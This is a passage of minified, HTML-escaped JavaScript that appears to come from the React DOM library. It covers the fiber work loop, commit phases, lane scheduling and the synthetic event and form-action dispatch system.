se=(i&amp;62914560)===i?Ks-St():(i&amp;4194048)===i?ud-St():0;if(se=jp(V,se),se!==null){ya=i,e.cancelPendingCommit=se(gd.bind(null,e,t,i,a,l,n,o,h,j,M,V,null,z,O)),La(e,i,o,!C);return}}gd(e,t,i,a,l,n,o,h,j)}function q0(e){for(var t=e;;){var a=t.tag;if((a===0||a===11||a===15)&amp;&amp;t.flags&amp;16384&amp;&amp;(a=t.updateQueue,a!==null&amp;&amp;(a=a.stores,a!==null)))for(var l=0;l&lt;a.length;l++){var n=a[l],i=n.getSnapshot;n=n.value;try{if(!_t(i(),n))return!1}catch{return!1}}if(a=t.child,t.subtreeFlags&amp;16384&amp;&amp;a!==null)a.return=t,t=a;else{if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return!0;t=t.return}t.sibling.return=t.return,t=t.sibling}}return!0}function La(e,t,a,l){t&amp;=~fc,t&amp;=~dl,e.suspendedLanes|=t,e.pingedLanes&amp;=~t,l&amp;&amp;(e.warmLanes|=t),l=e.expirationTimes;for(var n=t;0&lt;n;){var i=31-Et(n),o=1&lt;&lt;i;l[i]=-1,n&amp;=~o}a!==0&amp;&amp;gr(e,a,t)}function Ws(){return(De&amp;6)===0?(Gn(0),!1):!0}function xc(){if(Ne!==null){if(Me===0)var e=Ne.return;else e=Ne,ua=ll=null,Du(e),Ul=null,Sn=0,e=Ne;for(;e!==null;)kf(e.alternate,e),e=e.return;Ne=null}}function Vl(e,t){var a=e.timeoutHandle;a!==-1&amp;&amp;(e.timeoutHandle=-1,lp(a)),a=e.cancelPendingCommit,a!==null&amp;&amp;(e.cancelPendingCommit=null,a()),ya=0,xc(),Le=e,Ne=a=sa(e.current,null),Te=t,Me=0,zt=null,Ua=!1,kl=nn(e,t),oc=!1,Ql=Rt=fc=dl=Ha=Je=0,gt=Bn=null,dc=!1,(t&amp;8)!==0&amp;&amp;(t|=t&amp;32);var l=e.entangledLanes;if(l!==0)for(e=e.entanglements,l&amp;=t;0&lt;l;){var n=31-Et(l),i=1&lt;&lt;n;t|=e[n],l&amp;=~i}return va=t,ys(),a}function dd(e,t){ye=null,D.H=Rn,t===Ml||t===Ts?(t=Ao(),Me=3):t===bu?(t=Ao(),Me=4):Me=t===Ku?8:t!==null&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;typeof t.then==&quot;function&quot;?6:1,zt=t,Ne===null&amp;&amp;(Je=1,Gs(e,qt(t,e.current)))}function md(){var e=At.current;return e===null?!0:(Te&amp;4194048)===Te?Yt===null:(Te&amp;62914560)===Te||(Te&amp;536870912)!==0?e===Yt:!1}function hd(){var e=D.H;return D.H=Rn,e===null?Rn:e}function pd(){var e=D.A;return D.A=U0,e}function Ps(){Je=4,Ua||(Te&amp;4194048)!==Te&amp;&amp;At.current!==null||(kl=!0),(Ha&amp;134217727)===0&amp;&amp;(dl&amp;134217727)===0||Le===null||La(Le,Te,Rt,!1)}function vc(e,t,a){var l=De;De|=2;var n=hd(),i=pd();(Le!==e||Te!==t)&amp;&amp;(Fs=null,Vl(e,t)),t=!1;var o=Je;e:do try{if(Me!==0&amp;&amp;Ne!==null){var h=Ne,j=zt;switch(Me){case 8:xc(),o=6;break e;case 3:case 2:case 9:case 6:At.current===null&amp;&amp;(t=!0);var C=Me;if(Me=0,zt=null,Zl(e,h,j,C),a&amp;&amp;kl){o=0;break e}break;default:C=Me,Me=0,zt=null,Zl(e,h,j,C)}}B0(),o=Je;break}catch(M){dd(e,M)}while(!0);return t&amp;&amp;e.shellSuspendCounter++,ua=ll=null,De=l,D.H=n,D.A=i,Ne===null&amp;&amp;(Le=null,Te=0,ys()),o}function B0(){for(;Ne!==null;)xd(Ne)}function L0(e,t){var a=De;De|=2;var l=hd(),n=pd();Le!==e||Te!==t?(Fs=null,$s=St()+500,Vl(e,t)):kl=nn(e,t);e:do try{if(Me!==0&amp;&amp;Ne!==null){t=Ne;var i=zt;t:switch(Me){case 1:Me=0,zt=null,Zl(e,t,i,1);break;case 2:case 9:if(_o(i)){Me=0,zt=null,vd(t);break}t=function(){Me!==2&amp;&amp;Me!==9||Le!==e||(Me=7),It(e)},i.then(t,t);break e;case 3:Me=7;break e;case 4:Me=5;break e;case 7:_o(i)?(Me=0,zt=null,vd(t)):(Me=0,zt=null,Zl(e,t,i,7));break;case 5:var o=null;switch(Ne.tag){case 26:o=Ne.memoizedState;case 5:case 27:var h=Ne;if(o?am(o):h.stateNode.complete){Me=0,zt=null;var j=h.sibling;if(j!==null)Ne=j;else{var C=h.return;C!==null?(Ne=C,Is(C)):Ne=null}break t}}Me=0,zt=null,Zl(e,t,i,5);break;case 6:Me=0,zt=null,Zl(e,t,i,6);break;case 8:xc(),Je=6;break e;default:throw Error(r(462))}}G0();break}catch(M){dd(e,M)}while(!0);return ua=ll=null,D.H=l,D.A=n,De=a,Ne!==null?0:(Le=null,Te=0,ys(),Je)}function G0(){for(;Ne!==null&amp;&amp;!rh();)xd(Ne)}function xd(e){var t=Gf(e.alternate,e,va);e.memoizedProps=e.pendingProps,t===null?Is(e):Ne=t}function vd(e){var t=e,a=t.alternate;switch(t.tag){case 15:case 0:t=Mf(a,t,t.pendingProps,t.type,void 0,Te);break;case 11:t=Mf(a,t,t.pendingProps,t.type.render,t.ref,Te);break;case 5:Du(t);default:kf(a,t),t=Ne=ho(t,va),t=Gf(a,t,va)}e.memoizedProps=e.pendingProps,t===null?Is(e):Ne=t}function Zl(e,t,a,l){ua=ll=null,Du(t),Ul=null,Sn=0;var n=t.return;try{if(C0(e,n,t,a,Te)){Je=1,Gs(e,qt(a,e.current)),Ne=null;return}}catch(i){if(n!==null)throw Ne=n,i;Je=1,Gs(e,qt(a,e.current)),Ne=null;return}t.flags&amp;32768?(Ce||l===1?e=!0:kl||(Te&amp;536870912)!==0?e=!1:(Ua=e=!0,(l===2||l===9||l===3||l===6)&amp;&amp;(l=At.current,l!==null&amp;&amp;l.tag===13&amp;&amp;(l.flags|=16384))),yd(t,e)):Is(t)}function Is(e){var t=e;do{if((t.flags&amp;32768)!==0){yd(t,Ua);return}e=t.return;var a=O0(t.alternate,t,va);if(a!==null){Ne=a;return}if(t=t.sibling,t!==null){Ne=t;return}Ne=t=e}while(t!==null);Je===0&amp;&amp;(Je=5)}function yd(e,t){do{var a=D0(e.alternate,e);if(a!==null){a.flags&amp;=32767,Ne=a;return}if(a=e.return,a!==null&amp;&amp;(a.flags|=32768,a.subtreeFlags=0,a.deletions=null),!t&amp;&amp;(e=e.sibling,e!==null)){Ne=e;return}Ne=e=a}while(e!==null);Je=6,Ne=null}function gd(e,t,a,l,n,i,o,h,j){e.cancelPendingCommit=null;do ei();while(tt!==0);if((De&amp;6)!==0)throw Error(r(327));if(t!==null){if(t===e.current)throw Error(r(177));if(i=t.lanes|t.childLanes,i|=su,gh(e,a,i,o,h,j),e===Le&amp;&amp;(Ne=Le=null,Te=0),Xl=t,Ba=e,ya=a,mc=i,hc=n,cd=l,(t.subtreeFlags&amp;10256)!==0||(t.flags&amp;10256)!==0?(e.callbackNode=null,e.callbackPriority=0,X0(as,function(){return Ed(),null})):(e.callbackNode=null,e.callbackPriority=0),l=(t.flags&amp;13878)!==0,(t.subtreeFlags&amp;13878)!==0||l){l=D.T,D.T=null,n=G.p,G.p=2,o=De,De|=4;try{w0(e,t,a)}finally{De=o,G.p=n,D.T=l}}tt=1,bd(),jd(),Sd()}}function bd(){if(tt===1){tt=0;var e=Ba,t=Xl,a=(t.flags&amp;13878)!==0;if((t.subtreeFlags&amp;13878)!==0||a){a=D.T,D.T=null;var l=G.p;G.p=2;var n=De;De|=4;try{ed(t,e);var i=zc,o=no(e.containerInfo),h=i.focusedElem,j=i.selectionRange;if(o!==h&amp;&amp;h&amp;&amp;h.ownerDocument&amp;&amp;lo(h.ownerDocument.documentElement,h)){if(j!==null&amp;&amp;eu(h)){var C=j.start,M=j.end;if(M===void 0&amp;&amp;(M=C),&quot;selectionStart&quot;in h)h.selectionStart=C,h.selectionEnd=Math.min(M,h.value.length);else{var V=h.ownerDocument||document,z=V&amp;&amp;V.defaultView||window;if(z.getSelection){var O=z.getSelection(),se=h.textContent.length,me=Math.min(j.start,se),Be=j.end===void 0?me:Math.min(j.end,se);!O.extend&amp;&amp;me&gt;Be&amp;&amp;(o=Be,Be=me,me=o);var _=ao(h,me),N=ao(h,Be);if(_&amp;&amp;N&amp;&amp;(O.rangeCount!==1||O.anchorNode!==_.node||O.anchorOffset!==_.offset||O.focusNode!==N.node||O.focusOffset!==N.offset)){var A=V.createRange();A.setStart(_.node,_.offset),O.removeAllRanges(),me&gt;Be?(O.addRange(A),O.extend(N.node,N.offset)):(A.setEnd(N.node,N.offset),O.addRange(A))}}}}for(V=[],O=h;O=O.parentNode;)O.nodeType===1&amp;&amp;V.push({element:O,left:O.scrollLeft,top:O.scrollTop});for(typeof h.focus==&quot;function&quot;&amp;&amp;h.focus(),h=0;h&lt;V.length;h++){var B=V[h];B.element.scrollLeft=B.left,B.element.scrollTop=B.top}}di=!!Cc,zc=Cc=null}finally{De=n,G.p=l,D.T=a}}e.current=t,tt=2}}function jd(){if(tt===2){tt=0;var e=Ba,t=Xl,a=(t.flags&amp;8772)!==0;if((t.subtreeFlags&amp;8772)!==0||a){a=D.T,D.T=null;var l=G.p;G.p=2;var n=De;De|=4;try{$f(e,t.alternate,t)}finally{De=n,G.p=l,D.T=a}}tt=3}}function Sd(){if(tt===4||tt===3){tt=0,oh();var e=Ba,t=Xl,a=ya,l=cd;(t.subtreeFlags&amp;10256)!==0||(t.flags&amp;10256)!==0?tt=5:(tt=0,Xl=Ba=null,Nd(e,e.pendingLanes));var n=e.pendingLanes;if(n===0&amp;&amp;(qa=null),Ui(a),t=t.stateNode,Nt&amp;&amp;typeof Nt.onCommitFiberRoot==&quot;function&quot;)try{Nt.onCommitFiberRoot(ln,t,void 0,(t.current.flags&amp;128)===128)}catch{}if(l!==null){t=D.T,n=G.p,G.p=2,D.T=null;try{for(var i=e.onRecoverableError,o=0;o&lt;l.length;o++){var h=l[o];i(h.value,{componentStack:h.stack})}}finally{D.T=t,G.p=n}}(ya&amp;3)!==0&amp;&amp;ei(),It(e),n=e.pendingLanes,(a&amp;261930)!==0&amp;&amp;(n&amp;42)!==0?e===pc?Ln++:(Ln=0,pc=e):Ln=0,Gn(0)}}function Nd(e,t){(e.pooledCacheLanes&amp;=t)===0&amp;&amp;(t=e.pooledCache,t!=null&amp;&amp;(e.pooledCache=null,bn(t)))}function ei(){return bd(),jd(),Sd(),Ed()}function Ed(){if(tt!==5)return!1;var e=Ba,t=mc;mc=0;var a=Ui(ya),l=D.T,n=G.p;try{G.p=32&gt;a?32:a,D.T=null,a=hc,hc=null;var i=Ba,o=ya;if(tt=0,Xl=Ba=null,ya=0,(De&amp;6)!==0)throw Error(r(331));var h=De;if(De|=4,sd(i.current),ad(i,i.current,o,a),De=h,Gn(0,!1),Nt&amp;&amp;typeof Nt.onPostCommitFiberRoot==&quot;function&quot;)try{Nt.onPostCommitFiberRoot(ln,i)}catch{}return!0}finally{G.p=n,D.T=l,Nd(e,t)}}function _d(e,t,a){t=qt(a,t),t=Ju(e.stateNode,t,2),e=Oa(e,t,2),e!==null&amp;&amp;(sn(e,2),It(e))}function Ue(e,t,a){if(e.tag===3)_d(e,e,a);else for(;t!==null;){if(t.tag===3){_d(t,e,a);break}else if(t.tag===1){var l=t.stateNode;if(typeof t.type.getDerivedStateFromError==&quot;function&quot;||typeof l.componentDidCatch==&quot;function&quot;&amp;&amp;(qa===null||!qa.has(l))){e=qt(a,e),a=Tf(2),l=Oa(t,a,2),l!==null&amp;&amp;(Af(a,l,t,e),sn(l,2),It(l));break}}t=t.return}}function yc(e,t,a){var l=e.pingCache;if(l===null){l=e.pingCache=new H0;var n=new Set;l.set(t,n)}else n=l.get(t),n===void 0&amp;&amp;(n=new Set,l.set(t,n));n.has(a)||(oc=!0,n.add(a),e=Y0.bind(null,e,t,a),t.then(e,e))}function Y0(e,t,a){var l=e.pingCache;l!==null&amp;&amp;l.delete(t),e.pingedLanes|=e.suspendedLanes&amp;a,e.warmLanes&amp;=~a,Le===e&amp;&amp;(Te&amp;a)===a&amp;&amp;(Je===4||Je===3&amp;&amp;(Te&amp;62914560)===Te&amp;&amp;300&gt;St()-Ks?(De&amp;2)===0&amp;&amp;Vl(e,0):fc|=a,Ql===Te&amp;&amp;(Ql=0)),It(e)}function Td(e,t){t===0&amp;&amp;(t=yr()),e=el(e,t),e!==null&amp;&amp;(sn(e,t),It(e))}function k0(e){var t=e.memoizedState,a=0;t!==null&amp;&amp;(a=t.retryLane),Td(e,a)}function Q0(e,t){var a=0;switch(e.tag){case 31:case 13:var l=e.stateNode,n=e.memoizedState;n!==null&amp;&amp;(a=n.retryLane);break;case 19:l=e.stateNode;break;case 22:l=e.stateNode._retryCache;break;default:throw Error(r(314))}l!==null&amp;&amp;l.delete(t),Td(e,a)}function X0(e,t){return Oi(e,t)}var ti=null,Jl=null,gc=!1,ai=!1,bc=!1,Ga=0;function It(e){e!==Jl&amp;&amp;e.next===null&amp;&amp;(Jl===null?ti=Jl=e:Jl=Jl.next=e),ai=!0,gc||(gc=!0,Z0())}function Gn(e,t){if(!bc&amp;&amp;ai){bc=!0;do for(var a=!1,l=ti;l!==null;){if(e!==0){var n=l.pendingLanes;if(n===0)var i=0;else{var o=l.suspendedLanes,h=l.pingedLanes;i=(1&lt;&lt;31-Et(42|e)+1)-1,i&amp;=n&amp;~(o&amp;~h),i=i&amp;201326741?i&amp;201326741|1:i?i|2:0}i!==0&amp;&amp;(a=!0,Rd(l,i))}else i=Te,i=is(l,l===Le?i:0,l.cancelPendingCommit!==null||l.timeoutHandle!==-1),(i&amp;3)===0||nn(l,i)||(a=!0,Rd(l,i));l=l.next}while(a);bc=!1}}function V0(){Ad()}function Ad(){ai=gc=!1;var e=0;Ga!==0&amp;&amp;ap()&amp;&amp;(e=Ga);for(var t=St(),a=null,l=ti;l!==null;){var n=l.next,i=Cd(l,t);i===0?(l.next=null,a===null?ti=n:a.next=n,n===null&amp;&amp;(Jl=a)):(a=l,(e!==0||(i&amp;3)!==0)&amp;&amp;(ai=!0)),l=n}tt!==0&amp;&amp;tt!==5||Gn(e),Ga!==0&amp;&amp;(Ga=0)}function Cd(e,t){for(var a=e.suspendedLanes,l=e.pingedLanes,n=e.expirationTimes,i=e.pendingLanes&amp;-62914561;0&lt;i;){var o=31-Et(i),h=1&lt;&lt;o,j=n[o];j===-1?((h&amp;a)===0||(h&amp;l)!==0)&amp;&amp;(n[o]=yh(h,t)):j&lt;=t&amp;&amp;(e.expiredLanes|=h),i&amp;=~h}if(t=Le,a=Te,a=is(e,e===t?a:0,e.cancelPendingCommit!==null||e.timeoutHandle!==-1),l=e.callbackNode,a===0||e===t&amp;&amp;(Me===2||Me===9)||e.cancelPendingCommit!==null)return l!==null&amp;&amp;l!==null&amp;&amp;Di(l),e.callbackNode=null,e.callbackPriority=0;if((a&amp;3)===0||nn(e,a)){if(t=a&amp;-a,t===e.callbackPriority)return t;switch(l!==null&amp;&amp;Di(l),Ui(a)){case 2:case 8:a=xr;break;case 32:a=as;break;case 268435456:a=vr;break;default:a=as}return l=zd.bind(null,e),a=Oi(a,l),e.callbackPriority=t,e.callbackNode=a,t}return l!==null&amp;&amp;l!==null&amp;&amp;Di(l),e.callbackPriority=2,e.callbackNode=null,2}function zd(e,t){if(tt!==0&amp;&amp;tt!==5)return e.callbackNode=null,e.callbackPriority=0,null;var a=e.callbackNode;if(ei()&amp;&amp;e.callbackNode!==a)return null;var l=Te;return l=is(e,e===Le?l:0,e.cancelPendingCommit!==null||e.timeoutHandle!==-1),l===0?null:(od(e,l,t),Cd(e,St()),e.callbackNode!=null&amp;&amp;e.callbackNode===a?zd.bind(null,e):null)}function Rd(e,t){if(ei())return null;od(e,t,!0)}function Z0(){np(function(){(De&amp;6)!==0?Oi(pr,V0):Ad()})}function jc(){if(Ga===0){var e=Dl;e===0&amp;&amp;(e=ls,ls&lt;&lt;=1,(ls&amp;261888)===0&amp;&amp;(ls=256)),Ga=e}return Ga}function Od(e){return e==null||typeof e==&quot;symbol&quot;||typeof e==&quot;boolean&quot;?null:typeof e==&quot;function&quot;?e:os(&quot;&quot;+e)}function Dd(e,t){var a=t.ownerDocument.createElement(&quot;input&quot;);return a.name=t.name,a.value=t.value,e.id&amp;&amp;a.setAttribute(&quot;form&quot;,e.id),t.parentNode.insertBefore(a,t),e=new FormData(e),a.parentNode.removeChild(a),e}function J0(e,t,a,l,n){if(t===&quot;submit&quot;&amp;&amp;a&amp;&amp;a.stateNode===n){var i=Od((n[ht]||null).action),o=l.submitter;o&amp;&amp;(t=(t=o[ht]||null)?Od(t.formAction):o.getAttribute(&quot;formAction&quot;),t!==null&amp;&amp;(i=t,o=null));var h=new hs(&quot;action&quot;,&quot;action&quot;,null,l,n);e.push({event:h,listeners:[{instance:null,listener:function(){if(l.defaultPrevented){if(Ga!==0){var j=o?Dd(n,o):new FormData(n);Yu(a,{pending:!0,data:j,method:n.method,action:i},null,j)}}else typeof i==&quot;function&quot;&amp;&amp;(h.preventDefault(),j=o?Dd(n,o):new FormData(n),Yu(a,{pending:!0,data:j,method:n.method,action:i},i,j))},currentTarget:n}]})}}for(var Sc=0;Sc&lt;nu.length;Sc++){var Nc=nu[Sc],K0=Nc.toLowerCase(),$0=Nc[0].toUpperCase()+Nc.slice(1);Vt(K0,&quot;on&quot;+$0)}Vt(uo,&quot;onAnimationEnd&quot;),Vt(co,&quot;onAnimationIteration&quot;),Vt(ro,&quot;onAnimationStart&quot;),Vt(&quot;dblclick&quot;,&quot;onDoubleClick&quot;),Vt(&quot;focusin&quot;,&quot;onFocus&quot;),Vt(&quot;focusout&quot;,&quot;onBlur&quot;),Vt(f0,&quot;onTransitionRun&quot;),Vt(d0,&quot;onTransitionStart&quot;),Vt(m0,&quot;onTransitionCancel&quot;),Vt(oo,&quot;onTransitionEnd&quot;),yl(&quot;onMouseEnter&quot;,[&quot;mouseout&quot;,&quot;mouseover&quot;]),yl(&quot;onMouseLeave&quot;,[&quot;mouseout&quot;,&quot;mouseover&quot;]),yl(&quot;onPointerEnter&quot;,[&quot;pointerout&quot;,&quot;pointerover&quot;]),yl(&quot;onPointerLeave&quot;,[&quot;pointerout&quot;,&quot;pointerover&quot;]),Fa(&quot;onChange&quot;,&quot;change click focusin focusout input keydown keyup selectionchange&quot;.split(&quot; &quot;)),Fa(&quot;onSelect&quot;,&quot;focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange&quot;.split(&quot; &quot;)),Fa(&quot;onBeforeInput&quot;,[&quot;compositionend&quot;,&quot;keypress&quot;,&quot;textInput&quot;,&quot;paste&quot;]),Fa(&quot;onCompositionEnd&quot;,&quot;compositionend focusout keydown keypress keyup mousedown&quot;.split(&quot; &quot;)),Fa(&quot;onCompositionStart&quot;,&quot;compositionstart focusout keydown keypress keyup mousedown&quot;.split(&quot; &quot;)),Fa(&quot;onCompositionUpdate&quot;,&quot;compositionupdate focusout keydown keypress keyup mousedown&quot;.split(&quot; &quot;));var Yn=&quot;abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange resize seeked seeking stalled suspend timeupdate volumechange waiting&quot;.split(&quot; &quot;),F0=new Set(&quot;beforetoggle cancel close invalid load scroll scrollend toggle&quot;.split(&quot; &quot;).concat(Yn));function wd(e,t){t=(t&amp;4)!==0;for(var a=0;a&lt;e.length;a++){var l=e[a],n=l.event;l=l.listeners;e:{var i=void 0;if(t)for(var o=l.length-1;0&lt;=o;o--){var h=l[o],j=h.instance,C=h.currentTarget;if(h=h.listener,j!==i&amp;&amp;n.isPropagationStopped())break e;i=h,n.currentTarget=C;try{i(n)}catch(M){vs(M)}n.currentTarget=null,i=j}else for(o=0;o&lt;l.length;o++){if(h=l[o],j=h.instance,C=h.currentTarget,h=h.listener,j!==i&amp;&amp;n.isPropagationStopped())break e;i=h,n.currentTarget=C;try{i(n)}catch(M){vs(M)}n.currentTarget=null,i=j}}}}function Ee(e,t){var a=t[Hi];a===void 0&amp;&amp;(a=t[Hi]=new Set);var l=e+&quot;__bubble&quot;;a.has(l)||(Md(t,e,2,!1),a.add(l))}function Ec(e,t,a){var l=0;t&amp;&amp;(l|=4),Md(a,e,l,t)}var li=&quot;_reactListening&quot;+Math.random().toString(36).slice(2);function _c(e){if(!e[li]){e[li]=!0,_r.forEach(function(a){a!==&quot;selectionchange&quot;&amp;&amp;(F0.has(a)||Ec(a,!1,e),Ec(a,!0,e))});var t=e.nodeType===9?e:e.ownerDocument;t===null||t[li]||(t[li]=!0,Ec(&quot;selectionchange&quot;,!1,t))}}function Md(e,t,a,l){switch(rm(t)){case 2:var n=Ep;break;case 8:n=_p;break;default:n=Gc}a=n.bind(null,t,a,e),n=void 0,!Vi||t!==&quot;touchstart&quot;&amp;&amp;t!==&quot;touchmove&quot;&amp;&amp;t!==&quot;wheel&quot;||(n=!0),l?n!==void 0?e.addEventListener(t,a,{capture:!0,passive:n}):e.addEventListener(t,a,!0):n!==void 0?e.addEventListener(t,a,{passive:n}):e.addEventListener(t,a,!1)}function Tc(e,t,a,l,n){var i=l;if((t&amp;1)===0&amp;&amp;(t&amp;2)===0&amp;&amp;l!==null)e:for(;;){if(l===null)return;var o=l.tag;if(o===3||o===4){var h=l.stateNode.containerInfo;if(h===n)break;if(o===4)for(o=l.return;o!==null;){var j=o.tag;if((j===3||j===4)&amp;&amp;o.stateNode.containerInfo===n)return;o=o.return}for(;h!==null;){if(o=pl(h),o===null)return;if(j=o.tag,j===5||j===6||j===26||j===27){l=i=o;continue e}h=h.parentNode}}l=l.return}qr(function(){var C=i,M=Qi(a),V=[];e:{var z=fo.get(e);if(z!==void 0){var O=hs,se=e;switch(e){case&quot;keypress&quot;:if(ds(a)===0)break e;case&quot;keydown&quot;:case&quot;keyup&quot;:O=Qh;break;case&quot;focusin&quot;:se=&quot;focus&quot;,O=$i;break;case&quot;focusout&quot;:se=&quot;blur&quot;,O=$i;break;case&quot;beforeblur&quot;:case&quot;afterblur&quot;:O=$i;break;case&quot;click&quot;:if(a.button===2)break e;case&quot;auxclick&quot;:case&quot;dblclick&quot;:case&quot;mousedown&quot;:case&quot;mousemove&quot;:case&quot;mouseup&quot;:case&quot;mouseout&quot;:case&quot;mouseover&quot;:case&quot;contextmenu&quot;:O=Gr;break;case&quot;drag&quot;:case&quot;dragend&quot;:case&quot;dragenter&quot;:case&quot;dragexit&quot;:case&quot;dragleave&quot;:case&quot;dragover&quot;:case&quot;dragstart&quot;:case&quot;drop&quot;:O=Oh;break;case&quot;touchcancel&quot;:case&quot;touchend&quot;:case&quot;touchmove&quot;:case&quot;touchstart&quot;:O=Zh;break;case uo:case co:case ro:O=Mh;break;case oo:O=Kh;break;case&quot;scroll&quot;:case&quot;scrollend&quot;:O=zh;break;case&quot;wheel&quot;:O=Fh;break;case&quot;copy&quot;:case&quot;cut&quot;:case&quot;paste&quot;:O=Hh;break;case&quot;gotpointercapture&quot;:case&quot;lostpointercapture&quot;:case&quot;pointercancel&quot;:case&quot;pointerdown&quot;:case&quot;pointermove&quot;:case&quot;pointerout&quot;:case&quot;pointerover&quot;:case&quot;pointerup&quot;:O=kr;break;case&quot;toggle&quot;:case&quot;beforetoggle&quot;:O=Ph}var me=(t&amp;4)!==0,Be=!me&amp;&amp;(e===&quot;scroll&quot;||e===&quot;scrollend&quot;),_=me?z!==null?z+&quot;Capture&quot;:null:z;me=[];for(var N=C,A;N!==null;){var B=N;if(A=B.stateNode,B=B.tag,B!==5&amp;&amp;B!==26&amp;&amp;B!==27||A===null||_===null||(B=rn(N,_),B!=null&amp;&amp;me.push(kn(N,B,A))),Be)break;N=N.return}0&lt;me.length&amp;&amp;(z=new O(z,se,null,a,M),V.push({event:z,listeners:me}))}}if((t&amp;7)===0){e:{if(z=e===&quot;mouseover&quot;||e===&quot;pointerover&quot;,O=e===&quot;mouseout&quot;||e===&quot;pointerout&quot;,z&amp;&amp;a!==ki&amp;&amp;(se=a.relatedTarget||a.fromElement)&amp;&amp;(pl(se)||se[hl]))break e;if((O||z)&amp;&amp;(z=M.window===M?M:(z=M.ownerDocument)?z.defaultView||z.parentWindow:window,O?(se=a.relatedTarget||a.toElement,O=C,se=se?pl(se):null,se!==null&amp;&amp;(Be=p(se),me=se.tag,se!==Be||me!==5&amp;&amp;me!==27&amp;&amp;me!==6)&amp;&amp;(se=null)):(O=null,se=C),O!==se)){if(me=Gr,B=&quot;onMouseLeave&quot;,_=&quot;onMouseEnter&quot;,N=&quot;mouse&quot;,(e===&quot;pointerout&quot;||e===&quot;pointerover&quot;)&amp;&amp;(me=kr,B=&quot;onPointerLeave&quot;,_=&quot;onPointerEnter&quot;,N=&quot;pointer&quot;),Be=O==null?z:cn(O),A=se==null?z:cn(se),z=new me(B,N+&quot;leave&quot;,O,a,M),z.target=Be,z.relatedTarget=A,B=null,pl(M)===C&amp;&amp;(me=new me(_,N+&quot;enter&quot;,se,a,M),me.target=A,me.relatedTarget=Be,B=me),Be=B,O&amp;&amp;se)t:{for(me=W0,_=O,N=se,A=0,B=_;B;B=me(B))A++;B=0;for(var fe=N;fe;fe=me(fe))B++;for(;0&lt;A-B;)_=me(_),A--;for(;0&lt;B-A;)N=me(N),B--;for(;A--;){if(_===N||N!==null&amp;&amp;_===N.alternate){me=_;break t}_=me(_),N=me(N)}me=null}else me=null;O!==null&amp;&amp;Ud(V,z,O,me,!1),se!==null&amp;&amp;Be!==null&amp;&amp;Ud(V,Be,se,me,!0)}}e:{if(z=C?cn(C):window,O=z.nodeName&amp;&amp;z.nodeName.toLowerCase(),O===&quot;select&quot;||O===&quot;input&quot;&amp;&amp;z.type===&quot;file&quot;)var Re=Fr;else if(Kr(z))if(Wr)Re=c0;else{Re=i0;var ue=s0}else O=z.nodeName,!O||O.toLowerCase()!==&quot;input&quot;||z.type!==&quot;checkbox&quot;&amp;&amp;z.type!==&quot;radio&quot;?C&amp;&amp;Yi(C.elementType)&amp;&amp;(Re=Fr):Re=u0;if(Re&amp;&amp;(Re=Re(e,C))){$r(V,Re,a,M);break e}ue&amp;&amp;ue(e,z,C),e===&quot;focusout&quot;&amp;&amp;C&amp;&amp;z.type===&quot;number&quot;&amp;&amp;C.memoizedProps.value!=null&amp;&amp;Gi(z,&quot;number&quot;,z.value)}switch(ue=C?cn(C):window,e){case&quot;focusin&quot;:(Kr(ue)||ue.contentEditable===&quot;true&quot;)&amp;&amp;(El=ue,tu=C,vn=null);break;case&quot;focusout&quot;:vn=tu=El=null;break;case&quot;mousedown&quot;:au=!0;break;case&quot;contextmenu&quot;:case&quot;mouseup&quot;:case&quot;dragend&quot;:au=!1,so(V,a,M);break;case&quot;selectionchange&quot;:if(o0)break;case&quot;keydown&quot;:case&quot;keyup&quot;:so(V,a,M)}var be;if(Wi)e:{switch(e){case&quot;compositionstart&quot;:var Ae=&quot;onCompositionStart&quot;;break e;case&quot;compositionend&quot;:Ae=&quot;onCompositionEnd&quot;;break e;case&quot;compositionupdate&quot;:Ae=&quot;onCompositionUpdate&quot;;break e}Ae=void 0}else Nl?Zr(e,a)&amp;&amp;(Ae=&quot;onCompositionEnd&quot;):e===&quot;keydown&quot;&amp;&amp;a.keyCode===229&amp;&amp;(Ae=&quot;onCompositionStart&quot;);Ae&amp;&amp;(Qr&amp;&amp;a.locale!==&quot;ko&quot;&amp;&amp;(Nl||Ae!==&quot;onCompositionStart&quot;?Ae===&quot;onCompositionEnd&quot;&amp;&amp;Nl&amp;&amp;(be=Br()):(Ea=M,Zi=&quot;value&quot;in Ea?Ea.value:Ea.textContent,Nl=!0)),ue=ni(C,Ae),0&lt;ue.length&amp;&amp;(Ae=new Yr(Ae,e,null,a,M),V.push({event:Ae,listeners:ue}),be?Ae.data=be:(be=Jr(a),be!==null&amp;&amp;(Ae.data=be)))),(be=e0?t0(e,a):a0(e,a))&amp;&amp;(Ae=ni(C,&quot;onBeforeInput&quot;),0&lt;Ae.length&amp;&amp;(ue=new Yr(&quot;onBeforeInput&quot;,&quot;beforeinput&quot;,null,a,M),V.push({event:ue,listeners:Ae}),ue.data=be)),J0(V,e,C,a,M)}wd(V,t)})}function kn(e,t,a){return{instance:e,listener:t,currentTarget:a}}function ni(e,t){for(var a=t+&quot;Capture&quot;,l=[];e!==null;){var n=e,i=n.stateNode;if(n=n.tag,n!==5&amp;&amp;n!==26&amp;&amp;n!==27||i===null||(n=rn(e,a),n!=null&amp;&amp;l.unshift(kn(e,n,i)),n=rn(e,t),n!=null&amp;&amp;l.push(kn(e,n,i))),e.tag===3)return l;e=e.return}return[]}function W0(e){if(e===null)return null;do e=e.return;while(e&amp;&amp;e.tag!==5&amp;&amp;e.tag!==27);return e||null}function Ud(e,t,a,l,n){for(var i=t._reactName,o=[];a!==null&amp;&amp;a!==l;){var h=a,j=h.alternate,C=h.stateNode;if(h=h.tag,j!==null&amp;&amp;j===l)break;h!==5&amp;&amp;h!==26&amp;&amp;h!==27||C===null||(j=C,n?(C=rn(a,i),C!=null&amp;&amp;o.unshift(kn(a,C,j))):n||(C=rn(a,i),C!=null&amp;&amp;o.push(kn(a,C,j)))),a=a.return}o.length!==0&amp;&amp;e.push({event:t,listeners:o})}var P0=/\r\n?/g,I0=/\u0000|\uFFFD/g;function Hd(e){return(typeof e==&quot;string&quot;?e:&quot;&quot;+e).replace(P0,`
